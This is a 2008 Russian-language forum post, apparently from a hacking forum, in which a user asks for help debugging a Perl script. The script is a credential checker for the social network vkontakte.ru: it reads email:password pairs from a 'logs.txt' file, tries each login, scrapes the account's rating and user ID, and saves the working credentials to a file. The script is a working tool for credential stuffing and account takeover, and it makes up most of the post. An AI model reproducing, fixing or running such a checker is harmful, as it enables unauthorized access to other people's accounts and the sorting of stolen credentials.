17.06.2008, 23:43
|
|
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
Провел на форуме:
1734541
Репутация:
214
|
|
Ну вот с горем пополам немного переделал чекер на перле для контакта,чтоб чекал рейтинг
но почемуто айдишник не выдает (
где огибка?
з.Ы. Знание перла = 0.01% ыыыыыы
ногами не пинать учусь.
PHP код:
#!/usr/bin/perl
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies); #Eoee ;)
open (OUT , '>>IDS.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));
my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)(">)/;
if (!$2)
{
print "Account deleted";# это в случае , если пользователь удалил страницу
}
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:$mail:$pass \n";
print OUT $res.":".$mail.":".$pass.":".$2."\n";
if (length($2)>1){print OUT $res.":".$mail.":".$pass.":".$2."\n";}
}
else{print"[-]bad login or password";}
}
|
|
|